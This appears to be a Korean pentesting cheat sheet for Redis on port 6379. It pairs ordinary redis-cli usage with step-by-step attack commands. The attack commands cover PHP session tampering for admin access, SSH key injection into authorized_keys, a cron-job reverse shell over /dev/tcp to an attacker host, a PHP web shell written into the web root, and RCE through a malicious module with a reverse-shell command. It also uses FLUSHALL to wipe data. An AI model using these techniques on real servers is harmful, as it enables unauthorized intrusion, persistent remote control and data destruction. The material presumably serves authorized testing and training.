Skip to main content

Redis - 6379

Redis 인메모리 데이터베이스 연결 및 공격 기법 모음입니다.

연결 방법​

redis-cli​

# 로컬 연결
redis-cli

# 원격 연결
redis-cli -h <RHOST>
redis-cli -h <RHOST> -p 6379

# 비밀번호 인증
redis-cli -h <RHOST> -a <PASSWORD>

인증​

# 연결 후 인증
AUTH <PASSWORD>
AUTH <USERNAME> <PASSWORD> # Redis 6.0+

기본 명령어​

서버 정보​

INFO # 전체 정보
INFO SERVER # 서버 정보
INFO CLIENTS # 클라이언트 정보
INFO MEMORY # 메모리 정보
INFO PERSISTENCE # 지속성 정보
INFO STATS # 통계
INFO REPLICATION # 복제 정보
INFO CPU # CPU 정보
INFO KEYSPACE # 키스페이스 정보
INFO CLUSTER # 클러스터 정보

설정 확인​

CONFIG GET * # 모든 설정
CONFIG GET dir # 작업 디렉토리
CONFIG GET dbfilename # DB 파일명
CONFIG GET requirepass # 비밀번호 설정

설정 변경​

CONFIG SET dir /tmp
CONFIG SET dbfilename backup.db
CONFIG SET requirepass <PASSWORD>

데이터베이스 선택​

SELECT 0 # DB 0 선택 (기본 16개 DB)
SELECT 1
INFO KEYSPACE # 사용 중인 DB 확인

키 관리​

키 조회​

KEYS * # 모든 키 (주의: 프로덕션에서 사용 금지)
SCAN 0 # 커서 기반 스캔
DBSIZE # 키 개수
EXISTS <KEY> # 키 존재 확인
TYPE <KEY> # 키 타입 확인

값 조회​

GET <KEY> # String 값 가져오기
MGET <KEY1> <KEY2> # 여러 키 한번에

값 설정​

SET <KEY> <VALUE>
SET mykey "Hello"
MSET key1 "value1" key2 "value2"

키 삭제​

DEL <KEY>
FLUSHDB # 현재 DB의 모든 키 삭제
FLUSHALL # 모든 DB의 모든 키 삭제

Hash 데이터 구조​

HSET <KEY> <FIELD> <VALUE> # 해시 필드 설정
HGET <KEY> <FIELD> # 해시 필드 값 가져오기
HKEYS <KEY> # 모든 필드 이름
HGETALL <KEY> # 모든 필드와 값
HVALS <KEY> # 모든 값

세션 하이재킹​

PHP 세션 조작​

# 세션 확인
GET PHPREDIS_SESSION:2a9mbvnjgd6i2qeqcubgdv8n4b

# 세션 수정 (권한 상승)
SET PHPREDIS_SESSION:2a9mbvnjgd6i2qeqcubgdv8n4b "username|s:5:\"admin\";role|s:5:\"admin\";auth|s:4:\"True\";"

# 주의: s:5는 문자열 길이 (admin = 5글자)

SSH 키 주입​

공격 시나리오​

Redis가 루트 권한으로 실행 중이고 /root/.ssh/ 쓰기 권한이 있을 때:

# 1. Redis 연결
redis-cli -h <RHOST>

# 2. (선택) 기존 데이터 삭제
FLUSHALL

# 3. SSH 공개키 준비
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt

# 4. Redis에 키 저장
cat key.txt | redis-cli -h <RHOST> -x set ssh-key

# 5. 키 확인
GET ssh-key

# 6. 작업 디렉토리 확인
CONFIG GET dir

# 7. 디렉토리를 .ssh로 변경
CONFIG SET dir /var/lib/redis/.ssh
# 또는
CONFIG SET dir /root/.ssh

# 8. 파일명을 authorized_keys로 설정
CONFIG SET dbfilename authorized_keys

# 9. 디스크에 저장
SAVE

# 10. SSH 접속
ssh -i ~/.ssh/id_rsa redis@<RHOST>

웹셸 작성​

Cron Job을 통한 Reverse Shell​

# 1. Cron 디렉토리로 변경
CONFIG SET dir /var/spool/cron/crontabs

# 2. 파일명 설정
CONFIG SET dbfilename root

# 3. Cron Job 작성
SET 1 "\n\n*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'\n\n"

# 4. 저장
SAVE

웹 디렉토리에 웹셸 작성​

# 1. 웹 디렉토리로 변경
CONFIG SET dir /var/www/html

# 2. 파일명 설정
CONFIG SET dbfilename shell.php

# 3. 웹셸 작성
SET webshell "<?php system($_GET['cmd']); ?>"

# 4. 저장
SAVE

# 5. 접근
curl http://<RHOST>/shell.php?cmd=id

모듈을 통한 RCE​

RedisModules-ExecuteCommand​

https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

# 1. 모듈 컴파일
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
cd RedisModules-ExecuteCommand
make

# 2. 모듈 업로드 및 로드
# (Redis에 파일 업로드 후)
MODULE LOAD /path/to/module.so

# 3. 명령 실행
system.exec "id"
system.exec "whoami"
system.rev_shell <LHOST> <LPORT>

Lua 스크립트 실행​

EVAL "return redis.call('GET', 'mykey')" 0
EVAL "return 'Hello World'" 0

백업 및 복구​

백업​

SAVE # 동기 저장
BGSAVE # 백그라운드 저장
LASTSAVE # 마지막 저장 시간

RDB 파일 위치​

CONFIG GET dir
CONFIG GET dbfilename

보안 점검​

인증 확인​

# 비밀번호 없이 접속 시도
redis-cli -h <RHOST>
INFO

위험한 명령어 확인​

CONFIG GET rename-command # 명령어 이름 변경 확인

정보 수집​

버전 확인​

INFO SERVER

클라이언트 목록​

CLIENT LIST
CLIENT GETNAME

메모리 사용량​

INFO MEMORY
MEMORY STATS

참고​

  • Redis는 기본적으로 6379 포트 사용
  • 기본 설정에서 인증 없이 접근 가능할 수 있음
  • KEYS *는 프로덕션에서 사용 금지 (블로킹)
  • SAVE는 동기식이므로 서버 블로킹 발생
  • Redis 6.0부터 ACL 및 사용자 관리 지원
  • SSH 키 주입은 루트 권한 필요
  • 웹셸 작성은 웹 디렉토리 쓰기 권한 필요
  • 모듈 로드는 높은 권한 필요
  • RDB 파일을 통한 지속성 공격 가능